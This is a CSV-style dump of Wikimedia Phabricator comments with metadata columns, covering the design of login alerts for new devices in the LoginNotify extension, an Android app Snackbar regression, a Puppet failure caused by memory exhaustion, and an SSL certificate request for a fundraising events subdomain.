+Apologies, I somehow missed this. I'll let @DannyH and @kaldari speak to this though. ",,,1495793197,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,99,True,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,1
+860424,Login alert when user logs in from new machine,"The announcement says
+> This extension does not give you notifications when somebody successfully logs into your account from an unknown device or IP. It is technically possible to generate those, but if somebody else has logged in, they could just as easily see those notifications and do a password reset (which the notification encourages you to do). The ideal way to handle this is to issue email notifications for this case, but since most Wikipedia accounts do not have emails associated with them, this wouldn't be useful to majority of the users. So for the time being, we have settled for not issuing these notifications.
+
+That reasoning does not make sense to me. High-value accounts (functionaries etc) almost certainly have an email address enabled, most power users do have an email address set, so most of the people who would actually get targeted do get a benefit from such warnings (unlike failed login notifications which have very limited practical value).
+
+Also, an attacker does not gain anything from doing a password reset. They could change the email address but then the real owner at least gets warned.",,,1494937304,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,97,True,0,1,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1
+860336,Login alert when user logs in from new machine,"The task description says -
+> if it's not there, and the user requested alerts, send an email with the IP and other details of the login.
+
+To clarify, we aren't currently doing this in the LoginNotify extension. We can, but since most people don't have an associated email ID, we are wary of enabling them for now. We [[https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_154#LoginNotify_coming_soon_to_a_wiki_near_you.21 | asked about this as part of the extension announcement]] but nobody brought it up. ",,,1494930051,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,97,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1
+860278,Login alert when user logs in from new machine,unassigning from self. Community-tech has taken over working on this extension.,,,1494924063,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,97,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+765416,Login alert when user logs in from new machine,"@Bawolff has create an extension, LoginNotify, which handles this. I'm [[https://phabricator.wikimedia.org/T140167|reviewing]] the extension this week.",,,1479853534,,PHID-USER-kf224u62afnn727j4brt,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,72,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,1
+765414,Login alert when user logs in from new machine,"I worked on this as part of LoginNotify extension.
+
+See T140167 for more details.",,,1479853443,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,72,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+632962,Login alert when user logs in from new machine,">>! In T107707#2138134, @Risker wrote:
+> Speaking as someone who has recently run into about a dozen different sites sending me these warnings when I logged in (a) on a new tablet and (b) on an old machine using a different ISP... these were such a royal pain in the neck (in several cases I was required to ""verify"" my account if I wanted to use it) it resulted in my simply not bothering to log into some of those sites again.  
+> 
+
+False positives seem a lot worse than false negative for this type of system. Im really starting to think the best solution would be to do both cookie and pseudo-subnet based checks 
+",,,1458535349,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+632953,Login alert when user logs in from new machine,"Speaking as someone who has recently run into about a dozen different sites sending me these warnings when I logged in (a) on a new tablet and (b) on an old machine using a different ISP... these were such a royal pain in the neck (in several cases I was required to ""verify"" my account if I wanted to use it) it resulted in my simply not bothering to log into some of those sites again.  
+
+Cookie-based security features are rather disturbing - I'd much rather the system encourage users to regularly wipe cookies than making features that enable poor security practices.  ",,,1458531044,,PHID-USER-yif6nz5uhka5cnltixpc,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,37,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,1
+632943,Login alert when user logs in from new machine,">>! In T107707#2138015, @Bawolff wrote:
+> Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not
+
+The [[ https://wikimediafoundation.org/wiki/Privacy_policy/FAQ#cookieFAQ | cookie FAQ ]] and [[ https://wikimediafoundation.org/wiki/Cookie_statement | cookie statement ]] would probably have to be updated (although they are inaccurate and incomplete anyway), but the actual [[ https://wikimediafoundation.org/wiki/Privacy_policy | policy ]] doesn't seem to say anything specific about this.
+
+> (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).
+
+Authentication-related cookies are all stored for 30 days (except for the session cookies), but the policy allows for 180 days, presumably in anticipation of T68699. FWIW a bunch of fundraising-related cookies are stored for one year.
+
+> At the same time, we'd also want to make sure that we wouldn't accumulate a large number of cookies on a single machine (e.g. A public terminal might accumulate hundreds of kilobytes of users if it was used by many many people, and we didn't delete cookies)
+
+The cookie would only be set if users click ""remember me"", which users at public terminals presumably don't. But it would indeed have to be handled somehow - maybe just delete all cookies, or the older ones, if there are more than N. That might be annoying for people using lots of socks, but that's a fringe use case.
+
+Alternatively, machines could have a single unique identifying cookie and user-machine pairs could be stored in the database. That has some benefits like enabling a ""what machines have I recently logged in from?"" security panel that most modern identity providers have, and ability to deauthorize specific devices, but it would also mean slightly more loss of privacy.",,,1458522598,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+632942,Login alert when user logs in from new machine,">>! In T107707#2138015, @Bawolff wrote:
+> Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not
+
+The [[ https://wikimediafoundation.org/wiki/Privacy_policy/FAQ#cookieFAQ | cookie FAQ ]] and [[ https://wikimediafoundation.org/wiki/Cookie_statement | cookie statement ]] would probably have to be updated (although they are inaccurate and incomplete anyway), but the actual [[ https://wikimediafoundation.org/wiki/Privacy_policy | policy ]] doesn't seem to say anything specific about this.
+
+> (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).
+
+Authentication-related cookies are all stored for 30 days (except for the session cookies), but the policy allows for 180 days, presumably in anticipation of T68699. FWIW a bunch of fundraising-related cookies are stored for one year.
+
+> At the same time, we'd also want to make sure that we wouldn't accumulate a large number of cookies on a single machine (e.g. A public terminal might accumulate hundreds of kilobytes of users if it was used by many many people, and we didn't delete cookies)
+
+The cookie would only be set if users click ""remember me"", which users at public terminals presumably don't. But it would indeed have to be handled somehow - maybe just delete all cookies, or the older ones, if there are more than N. That might be annoying for people using lots of socks, but that's a fringe use case.
+
+Alternatively, machines could have a single unique identifying cookie and user-machine pairs could be stored in the database. That has some benefits like enabling a ""what machines have I recently logged in from?"" security panel that most modern identity providers have, but it would also mean slightly more loss of privacy.",,,1458522382,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+632928,Login alert when user logs in from new machine,">>! In T107707#2138020, @ashley wrote:
+>>>! In T107707#2138015, @Bawolff wrote:
+>> Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).
+> Since this bug is in the #MediaWiki-User-login-and-signup project, which is for core things (as opposed to extensions), I'm guessing this proposed feature would then go in core, right? (Which makes sense and is generally speaking awesome, btw.) Just make sure there's a toggle for it or something; even if the WMF's privacy policy would force some additional restrictions on this, the same is not necessarily true for third-party sites using MediaWiki, and I'm sure many third-party sites would like this feature.
+
+I was actually intending to work on something somewhat along these lines, but as an extension (Mostly due to wanting echo integration). Regardless of the extension/non-extension state, I would want any solution to be useful to everyone - but WMF is one of the primary targets, so I would want to ensure the chosen solution works well in that context. That said, the more I look at our current cookies, the less that this seems to be an issue at all.",,,1458516830,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+632921,Login alert when user logs in from new machine,">>! In T107707#2138015, @Bawolff wrote:
+> Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).
+Since this bug is in the #MediaWiki-User-login-and-signup project, which is for core things (as opposed to extensions), I'm guessing this proposed feature would then go in core, right? (Which makes sense and is generally speaking awesome, btw.) Just make sure there's a toggle for it or something; even if the WMF's privacy policy would force some additional restrictions on this, the same is not necessarily true for third-party sites using MediaWiki, and I'm sure many third-party sites would like this feature.",,,1458515861,,PHID-USER-mlp7cjyksjzemkdr5ued,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+632918,Login alert when user logs in from new machine,">put the one.way hashed username in a cookie with very long expiration
+
+Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).
+
+So I guess if we want to support this in the scenario where a single computer is used by multiple users, we would have to include part of the hash in the cookie name, as well as having it as cookie value (Where hash = HMAC using a secret key, as well as current timestamp), so that we could have multiple cookies for different users who might want to login from the same machine. At the same time, we'd also want to make sure that we wouldn't accumulate a large number of cookies on a single machine (e.g. A public terminal might accumulate hundreds of kilobytes of users if it was used by many many people, and we didn't delete cookies)",,,1458515318,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+515674,Login alert when user logs in from new machine,"> I wonder if something like that would make sense for MediaWiki?
+Sounds like a good new feature (at least, if the user can turn it off). Especially for critical on-wiki accounts, like administrators, bureaucrats or stewards (e.g.) it would be a nice extension for the security feature set to get informed, when someone log in to the account.",,,1440667226,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,8,True,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1
+107577,"Regression: after NavigationView patch, Login and Logout no longer shows Snackbar upon success.",,High,80.0,1438351440,1439819021.0,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-4r3irvxoo3usvhphsy7d,task_description,resolved,True,c3,3,True,True,True,4,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+504376,"Regression: after NavigationView patch, Login and Logout no longer shows Snackbar upon success.",Checked with 2.0.108-alpha-2015-08-07 on Nexus5(Android 5.1) - Logged in successfully!/Logged out are properly displayed in Snackbar.,,,1438983985,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-4r3irvxoo3usvhphsy7d,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+500440,"Regression: after NavigationView patch, Login and Logout no longer shows Snackbar upon success.","Change 228253 merged by jenkins-bot:
+Correctly show Snackbar when logging in and out.
+
+[[https://gerrit.wikimedia.org/r/228253]]",,,1438374790,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4r3irvxoo3usvhphsy7d,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+500169,"Regression: after NavigationView patch, Login and Logout no longer shows Snackbar upon success.","Change 228253 had a related patch set uploaded (by Dbrant):
+Correctly show Snackbar when logging in and out.
+
+[[https://gerrit.wikimedia.org/r/228253]]
+",,,1438351680,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4r3irvxoo3usvhphsy7d,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+107350,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","On `tools-webgrid-lighttpd-1408`, Puppet fails with:
+
+```
+scfc@tools-webgrid-lighttpd-1408:~$ sudo puppet agent -tv
+Info: Retrieving plugin
+Info: Loading facts in /var/lib/puppet/lib/facter/root_home.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/physicalcorecount.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/ganeti.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/labsproject.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/puppet_vardir.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/initsystem.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/apt.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/puppet_config_dir.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/lldp.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/ec2id.rb
+Info: Loading facts in /var/lib/puppet/lib/facter/pe_version.rb
+Error: Could not retrieve catalog from remote server: Error 400 on SERVER: Failed to determined $::labsproject at /etc/puppet/manifests/realm.pp:14 on node tools-webgrid-lighttpd-1408.tools.eqiad.wmflabs
+Warning: Not using cache on failed catalog
+Error: Could not retrieve catalog; skipping run
+Error: Could not run command from postrun_command: Cannot allocate memory - fork(2)
+scfc@tools-webgrid-lighttpd-1408:~$ free -m
+             total       used       free     shared    buffers     cached
+Mem:          7985       7763        221        444        142       6255
+-/+ buffers/cache:       1365       6619
+Swap:          487          0        487
+scfc@tools-webgrid-lighttpd-1408:~$
+```
+
+The ""SERVER:"" prefix makes me think that this could be a memory shortage on the Labs puppet master and not a local problem.",High,80.0,1438206222,1438213471.0,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-p55d7dcp7bfvyj3joie7,task_description,resolved,True,c3,3,True,False,True,3,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+499268,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""",A reboot seems to have cheered it up.,,,1438213471,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+499260,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","Although
+
+# facter -p labsproject
+tools
+
+works fine",,,1438213106,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+499256,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","This is because
+
+# facter -p
+Error: Cannot allocate memory - /usr/sbin/dmidecode 2>/dev/null
+
+I don't know what that's about, though -- it certainly isn't happening on the master.",,,1438212992,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+499196,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","(Semi-related side note: Labs instances run Puppet twice per hour.  I don't remember if there was ever a requirement for that, i. e. a situation where someone waited 35 minutes after a Puppet change was merged to ensure its deployment instead of waiting 65 minutes or running `salt`.  So if the load/memory on `labscontrol1001` is an issue, doubling the interval at which Puppet is run on Labs instances would halve the consumed capacities while keeping configuration changes within an (IMHO) acceptable time frame.)",,,1438207854,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+499195,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","(Semi-related side note: Labs instances run Puppet twice per hour.  I don't remember if there was ever a requirement for that, i. e. a situation where someone waited 35 minutes after a Puppet change was merged to ensure its deployment instead of waiting 65 minutes or running `salt`.  So if the load/memory on `labscontrol1001` is an issue, doubling the interval at which Puppet is run on Labs instances would halve the consumed capacities while keeping configuration changes within an (IMHO) acceptable time frame.",,,1438207836,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+499187,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","According to http://ganglia.wikimedia.org/latest/graph_all_periods.php?c=Virtualization%20cluster%20eqiad&h=labcontrol1001.wikimedia.org&r=hour&z=small&jr=&js=&st=1438207296&v=3338788&m=mem_free&vl=KB&ti=Free%20Memory&z=large, `labscontrol1001` never had more than 48.25 MByte (!) of free memory since May?!",,,1438207459,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0
+107059,SSL cert needed for new fundraising events domain,"Major Gifts is setting up a new event invitation and payment processing tool through Trilogy Interactive (see related tasks for more info: T101191, T104357).
+
+Trilogy is helping to set up new pages for us at events.wikimedia.org and eventdonations.wikimedia.org, and want to know who they should contact about an SSL certificate. The donate.wikimedia.org has a wildcard SSL cert, so we could conceivably use that for the events site, but want to confirm this with Ops. 
+
+**EDIT: We are fine with WMF purchashing a new cert as well. The domain is eventdonations.wikimedia.org**
+
+",High,80.0,1438019707,1438704529.0,PHID-USER-uxp3hc4banddtiwz6xrp,True,PHID-USER-almbmuy6a3hcls7c2zdl,True,PHID-TASK-iuxar6fq7z6tngslwilp,task_description,resolved,True,c3,3,True,False,True,3,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+501874,SSL cert needed for new fundraising events domain,"Thanks, @bblack. The cert is now in place.",,,1438704505,,PHID-USER-almbmuy6a3hcls7c2zdl,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
+501803,SSL cert needed for new fundraising events domain,@ewilfong_WMF - cert/key info sent via email.  Please respond there if there any technical issues with accessing the data...,,,1438697735,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0
+501518,SSL cert needed for new fundraising events domain,"I would want to leave it up for one week post-event, to allow for donations
+that inevitably trickle in during the days following the event, but it
+would be fine with me to take it down after that.  We will likely not need
+it again until the 15th Birthday celebrations in January.
+
+
+
+Caitlin Virtue
+Director of Development
+Wikimedia Foundation
+(415) 839-6885 x6733
+cvirtue@wikimedia.org
+www.wikimediafoundation.org
+
+*Imagine a world in which every single human being can freely share in the
+sum of all knowledge. That's our commitment. Donate.
+<https://donate.wikimedia.org/>*",,,1438642903,,PHID-USER-kwzt7y73f6hl6xs7vo2p,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,False,,,4,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+501510,SSL cert needed for new fundraising events domain,"Thanks for this and for resolving T107060 @BBlack. If I can get you information on changing to https sooner than 10/7, I will.
+
+> I'm still a bit worried about the timeline here. We don't have firm deadlines, but presenting a plan on Oct 7 doesn't mean being ready to make the switch on Oct 7.
+
+I see your concern. This may be an ignorant question, but would it be theoretically possible for us to take the benefactorevents.wikimedia.org page down after the event on 10/1, and not put it back up until the SSL cert is in place? I will have to confirm with @CaitVirtue that this works for her, but if every other subdomain is https at that point, that could be a temporary solution.
